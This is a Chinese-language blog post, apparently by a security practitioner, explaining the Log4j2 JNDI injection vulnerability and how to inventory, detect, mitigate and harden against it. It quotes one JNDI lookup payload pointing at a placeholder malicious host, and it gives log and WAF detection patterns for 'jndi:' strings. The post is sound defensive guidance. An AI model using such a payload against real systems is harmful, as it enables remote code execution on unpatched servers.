摘要：# Log4j2漏洞炸了锅，JNDI注入攻击到底该怎么防？ 说实话，我干了这么多年网络安全，很少见到哪个漏洞能像Log4j2这个CVE-2021-44228一样，让整个互联网圈儿都跟着哆嗦。那感觉，就像你家的防盗门突然发现是纸糊的——而且全世界用同款门的…

Log4j2漏洞炸了锅，JNDI注入攻击到底该怎么防？

说实话，我干了这么多年网络安全，很少见到哪个漏洞能像Log4j2这个CVE-2021-44228一样，让整个互联网圈儿都跟着哆嗦。那感觉，就像你家的防盗门突然发现是纸糊的——而且全世界用同款门的还不在少数。

很多朋友可能还记得2021年底那阵子的兵荒马乱。我那天晚上正喝着茶呢，手机突然被各种告警和群消息炸懵了。什么“核弹级漏洞”、“史诗级灾难”，标题一个比一个吓人。一开始我还以为是标题党，结果仔细一看技术细节，心里咯噔一下：坏了，这次真不是闹着玩的。

说白了，这漏洞的原理其实不复杂，但破坏力惊人。攻击者只需要往日志里塞一段精心构造的字符串，就能让服务器乖乖执行任意代码——听起来像不像电影里的情节？但现实往往比电影更刺激。

这漏洞到底咋回事？咱用人话说说

Log4j2是个Java的日志框架，你可以理解为程序写日记的本子。很多Java应用（从企业级系统到你用的某些App后台）都用它来记录运行信息。

问题出在哪呢？就出在这个“日记本”太智能了。它支持一种叫“JNDI查找”的功能，大概意思是：如果你在日记里写了“请去某某地址拿个东西”，它真会傻乎乎地去拿，而且拿到什么就执行什么。

攻击者就是钻了这个空子。他们在你的日志里写入一个恶意指令，比如“去黑客控制的服务器下载个木马并运行”，Log4j2一看，哟，有指令，立马照办。整个过程，你的程序可能只是在正常记录一个用户昵称或者搜索关键词——你甚至都不知道自己中招了。

我当时帮一个电商平台做应急，他们的技术负责人一脸懵：“我们日志里就记录了个用户输入的‘${jndi:ldap://恶意地址/Exploit}’，服务器怎么就沦陷了？” 你看，攻击成本低到令人发指。

怎么知道自己中没中招？别光靠猜

很多人第一反应是：“赶紧升级Log4j2版本不就完了？” 道理没错，但现实往往更复杂。你确定能找全所有用到的组件？那些第三方库、历史遗留系统、外包开发的模块……漏一个就是隐患。

我建议分三步走：

第一步，先摸清家底。 别急着动手，先搞清楚自己到底有多少系统用了Log4j2。除了直接依赖，更要关注那些间接引用的——很多中间件、框架自己带了Log4j2，你可能根本不知道。

有个土办法但挺管用：在测试环境跑一遍全量搜索。用命令行找所有jar包、war包，看看有没有log4j-core的身影。我见过最离谱的案例，是某个系统用了七层嵌套依赖，最底层的组件带了漏洞版本，表面根本看不出来。

第二步，主动检测攻击痕迹。 光防御不够，得知道有没有人已经打进来了。分享几个我常用的排查点：

• 查日志里有没有奇怪的“${jndi:”字符串。别看这方法简单，很多早期攻击就是这么直白。注意攻击者可能会用各种编码绕过，比如URL编码、Unicode转换，所以最好用工具扫一遍。

• 监控异常的网络连接。JNDI注入通常需要从外部服务器加载恶意类，所以会发起出站连接。重点看那些去往非常见地址的LDAP、RMI请求——特别是从你的应用服务器发出去的。

• 观察有没有突然出现的陌生进程、异常的系统负载，或者不明所以的Java类被加载。这些可能是攻击已经得逞的信号。

说实话，完全靠人工查肯定累死。这时候可以借助一些开源扫描工具，比如像log4j2-scan这类脚本，能帮你快速扫一遍代码和依赖。但工具也不是万能的，它只能找到已知模式，对于变种攻击可能就抓瞎了。

万一真被打中了，别慌，按这个顺序来

如果确认或者高度怀疑被攻击了，我的建议是：先止血，再治病。

紧急止血三板斧：

1. 隔离是第一要务。 发现异常的服务器，能断网就断网，不能断网至少限制它的出站连接。特别是要阻断对外的LDAP（389端口）、RMI（1099端口等）请求——很多恶意负载都是从这些端口拉的。

2. 临时补丁先顶上。 如果一时半会儿没法升级所有系统，可以设置这两个JVM参数：

   -Dlog4j2.formatMsgNoLookups=true

   或者对于老版本：

   -Dlog4j.format.msg.no.lookups=true

   这相当于告诉Log4j2：“别瞎解析那些花括号里的指令了，老老实实当普通文本记录。” 这招能防住大部分攻击，但注意，它只是个临时创可贴，不是根治方案。

3. WAF规则赶紧上。 如果你用了WAF（Web应用防火墙），立即更新规则，拦截所有包含“jndi:”、“${”等特征的请求。这能在网络入口先拦一波。不过我得说句大实话：很多攻击已经不这么直白了，会做各种变形绕过，所以WAF不能百分百依赖。

深入排查不能少：

止血之后，得看看伤到哪了。这时候需要：

• 全面检查被攻击服务器的文件、进程、网络连接、计划任务……所有可能被植入后门的地方。攻击者一旦进来，很少会只干一票就走，通常都会留个后门。

• 追溯攻击时间点附近的日志，尝试还原攻击路径。他是从哪个接口进来的？输入了什么？后续还做了什么操作？这些信息对后续修复和追责都至关重要。

• 改密码、轮换密钥。如果攻击者可能窃取了凭证，所有相关系统的密码和密钥都要换一遍——别嫌麻烦，这比事后被勒索强多了。

长远来看，怎么才能睡得安稳？

应急处理完了，该想想怎么从根本上解决问题了。我总结了几条经验，有些你可能没想到：

第一，升级不是终点，验证才是。 很多人以为把Log4j2升级到2.15.0以上就万事大吉了。但你知道吗？2.15.0刚出的时候，又被发现存在绕过可能（CVE-2021-45046），逼得大家不得不升到2.16.0。所以升级后一定要验证：用工具扫一下，或者自己构造个无害的测试payload试试，看还会不会触发查找。

第二，供应链安全得重视。 Log4j2漏洞给所有人上了一课：你用的开源组件，很可能成为你的阿喀琉斯之踵。建立个软件物料清单（SBOM）吧，搞清楚你的系统到底由哪些部分组成。下次再有类似漏洞爆发，你就能快速定位影响范围，而不是两眼一抹黑。

第三，防御要层层设防。 单靠应用层防护是不够的。网络层要限制不必要的出站连接（特别是从服务器发起的），系统层要做好权限控制（别用root跑Java应用），运行时可以用RASP（运行时应用自防护）技术监控可疑行为。鸡蛋不能放在一个篮子里。

第四，日志记录本身也要小心。 这是个讽刺：记录日志的工具出了漏洞。所以对于日志内容，特别是用户输入的部分，该过滤就得过滤，该转义就得转义。别什么东西都往日志里写——尤其是那些可能包含特殊字符的内容。

最后说几句大实话

Log4j2漏洞过去这么久了，但我发现很多团队的处理方式依然很初级：要么是“漏洞爆发那阵子紧急升了级，后来就没管了”，要么是“应该都修了吧，我也不确定”。

这种心态要不得。网络安全就像家里防火，你不能等火烧起来了才想起买灭火器。平时多检查检查线路（代码和依赖），备好灭火设备（防护和检测工具），真出事了才知道怎么应对。

哦对了，如果你现在还在用Log4j 1.x版本，别以为就高枕无忧了。虽然1.x不受CVE-2021-44228影响，但它有自己的安全问题，而且官方早就停止维护了。能换就换了吧，别守着个更不安全的版本还暗自庆幸。

说到底，应对这种大规模漏洞，技术手段固然重要，但更重要的是建立起一套常态化的安全流程和快速响应机制。下次再出“核弹级”漏洞的时候，你才能淡定地喝口茶，说：“预案早就准备好了，按流程走就行。”

而不是像我那天晚上一样，被手机震得手麻。